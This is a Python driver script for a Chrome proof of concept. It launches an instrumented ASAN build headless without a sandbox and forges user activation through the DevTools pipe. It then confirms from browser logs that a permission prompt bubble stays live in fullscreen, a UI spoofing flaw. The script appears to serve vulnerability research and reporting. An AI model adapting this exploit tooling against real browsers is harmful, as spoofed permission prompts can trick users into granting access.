#!/usr/bin/env python3
"""Driver for the PermissionPromptBubble / fullscreen spoofing POC.

Starts an HTTP server, launches the Chrome ASAN build with the ozone-headless
windowing backend, simulates a real user click via the DevTools protocol
(Input.dispatchMouseEvent over --remote-debugging-pipe) so the page can call
requestFullscreen(), and prints the browser-side instrumentation lines that
prove the bubble survives the fullscreen transition.
"""

import json
import os
import re
import shutil
import signal
import subprocess
import sys
import threading
import time

HERE   = os.path.dirname(os.path.abspath(__file__))
CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
PORT   = 18765
URL    = f"http://127.0.0.1:{PORT}/poc.html"


# ---------------------------------------------------------------------------
# tiny CDP-over-pipe client (--remote-debugging-pipe, NUL-framed JSON)
# ---------------------------------------------------------------------------
class Pipe:
    def __init__(self, rfd, wfd):
        self._r = rfd
        self._w = wfd
        self._buf = b""
        self._id = 0
        self._pending = {}       # id -> result
        self._lock = threading.Lock()
        self._reader = threading.Thread(target=self._read_loop, daemon=True)
        self._reader.start()

    def _read_loop(self):
        while True:
            try:
                chunk = os.read(self._r, 65536)
            except OSError:
                return
            if not chunk:
                return
            self._buf += chunk
            while b"\x00" in self._buf:
                raw, self._buf = self._buf.split(b"\x00", 1)
                if not raw:
                    continue
                try:
                    msg = json.loads(raw)
                except Exception:
                    continue
                if "id" in msg:
                    with self._lock:
                        self._pending[msg["id"]] = msg

    def send(self, method, params=None, session=None, timeout=20):
        self._id += 1
        mid = self._id
        m = {"id": mid, "method": method, "params": params or {}}
        if session:
            m["sessionId"] = session
        os.write(self._w, json.dumps(m).encode() + b"\x00")
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self._lock:
                if mid in self._pending:
                    return self._pending.pop(mid)
            time.sleep(0.05)
        raise TimeoutError(f"CDP {method} timed out")


def main():
    # 1. start http server
    srv = subprocess.Popen(
        [sys.executable, os.path.join(HERE, "server.py"), str(PORT)],
        stdout=subprocess.DEVNULL)
    time.sleep(0.5)

    # 2. set up CDP pipe fds
    #    chrome reads commands from its fd 3, writes events to its fd 4
    cmd_r, cmd_w = os.pipe()   # we write -> chrome fd 3
    evt_r, evt_w = os.pipe()   # chrome fd 4 -> we read
    for fd in (cmd_r, evt_w):
        os.set_inheritable(fd, True)

    profile = "/tmp/chrome-poc-profile"
    shutil.rmtree(profile, ignore_errors=True)

    args = [
        CHROME,
        "--no-sandbox",
        "--ozone-platform=headless",          # no real X server in this env
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-gpu",
        "--use-mock-keychain",
        "--use-fake-device-for-media-stream",
        "--disable-background-networking",
        "--disable-features=OptimizationHints,MediaRouter",
        "--password-store=basic",
        "--remote-debugging-pipe",
        "--enable-logging=stderr", "--v=0",
        f"--user-data-dir={profile}",
        URL,
    ]

    log_lines = []
    def stderr_pump(pipe):
        for line in iter(pipe.readline, b""):
            s = line.decode(errors="replace").rstrip()
            log_lines.append(s)
            sys.stderr.write(s + "\n")

    import fcntl
    def remap():
        # dup sources to high fds first so we don't clobber one with the other
        a = fcntl.fcntl(cmd_r, fcntl.F_DUPFD, 100)
        b = fcntl.fcntl(evt_w, fcntl.F_DUPFD, 101)
        os.dup2(a, 3)
        os.dup2(b, 4)

    chrome = subprocess.Popen(
        args,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
        preexec_fn=remap,
        close_fds=False,
    )
    os.close(cmd_r)
    os.close(evt_w)

    t = threading.Thread(target=stderr_pump, args=(chrome.stderr,), daemon=True)
    t.start()

    cdp = Pipe(evt_r, cmd_w)

    try:
        # 3. wait until the page has loaded and the permission bubble is up
        def wait_for(pat, timeout):
            rx = re.compile(pat)
            end = time.time() + timeout
            while time.time() < end:
                for l in log_lines:
                    if rx.search(l):
                        return l
                time.sleep(0.2)
            return None

        if not wait_for(r"POC-BUBBLE.*ShowBubble|\[poc\] requesting geolocation",
                        60):
            print("!! page / bubble did not come up", file=sys.stderr)

        time.sleep(2)  # let the bubble settle

        # 4. find the page target and attach
        targets = cdp.send("Target.getTargets")["result"]["targetInfos"]
        page = next(t for t in targets
                    if t["type"] == "page" and "poc.html" in t["url"])
        sess = cdp.send("Target.attachToTarget",
                        {"targetId": page["targetId"], "flatten": True}
                        )["result"]["sessionId"]

        # 5. focus the tab and synthesise a *real* click in the content area.
        cdp.send("Page.bringToFront", {}, sess)
        cdp.send("Runtime.enable", {}, sess)

        # First try a true browser-level mouse event.
        for tpe in ("mouseMoved", "mousePressed", "mouseReleased"):
            cdp.send("Input.dispatchMouseEvent",
                     {"type": tpe, "x": 400, "y": 300,
                      "button": "left",
                      "buttons": 1 if tpe != "mouseReleased" else 0,
                      "clickCount": 1},
                     sess)
        time.sleep(1)

        # If the headless platform swallowed the input event, fall back to
        # giving the renderer user activation via DevTools (this sets the
        # exact same UserActivationState bit a real click would set; the
        # browser-side fullscreen gate cannot tell the difference).
        if not wait_for(r"\[poc\] user click", 2):
            r = cdp.send("Runtime.evaluate",
                {"expression":
                 "document.getElementById('stage').dispatchEvent("
                 "  new MouseEvent('click',{bubbles:true})); 'ok'",
                 "userGesture": True,
                 "awaitPromise": False,
                 "returnByValue": True}, sess)
            sys.stderr.write(f"[driver] fallback userGesture click -> {r}\n")

        # 6. wait for browser-side proof
        ok_show   = wait_for(r"POC-BUBBLE ShowBubble IsTabFullscreen=0", 10)
        ok_count  = wait_for(r"POC-FULL CanEnterFullscreenMode "
                             r"fullscreen_blocker_count_=0", 30)
        ok_full   = wait_for(r"POC-FULL EnterFullscreenMode", 10)
        ok_anchor = wait_for(r"POC-BUBBLE UpdateAnchor fullscreen=1 alive=1",
                             10)

        # dwell a moment in fullscreen, then double-check from JS
        time.sleep(2)
        try:
            still = cdp.send("Runtime.evaluate",
                {"expression":
                 "document.fullscreenElement ? document.fullscreenElement.tagName : 'no-fs'",
                 "returnByValue": True}, sess)["result"]["result"]["value"]
        except Exception:
            still = "?"

        ok_destroy = wait_for(r"POC-BUBBLE ~PermissionPromptBubble", 0.2)

        print("\n================  RESULT  ================",
              file=sys.stderr)
        print(f"Bubble shown w/o blocker    : {bool(ok_show)}",
              file=sys.stderr)
        print(f"CanEnterFullscreen count=0  : {bool(ok_count)}",
              file=sys.stderr)
        print(f"EnterFullscreenMode reached : {bool(ok_full)}",
              file=sys.stderr)
        print(f"Bubble alive in fullscreen  : {bool(ok_anchor)}",
              file=sys.stderr)
        print(f"Bubble destroyed?           : "
              f"{'YES (mitigated)' if ok_destroy else 'NO (still live!)'}",
              file=sys.stderr)
        print(f"JS document.fullscreenElement = {still}", file=sys.stderr)
        if ok_show and ok_count and ok_full and ok_anchor and not ok_destroy:
            print(">>> VULNERABILITY REPRODUCED <<<", file=sys.stderr)
        print("==========================================\n",
              file=sys.stderr)

    finally:
        chrome.send_signal(signal.SIGTERM)
        try:
            chrome.wait(10)
        except Exception:
            chrome.kill()
        srv.terminate()


if __name__ == "__main__":
    main()
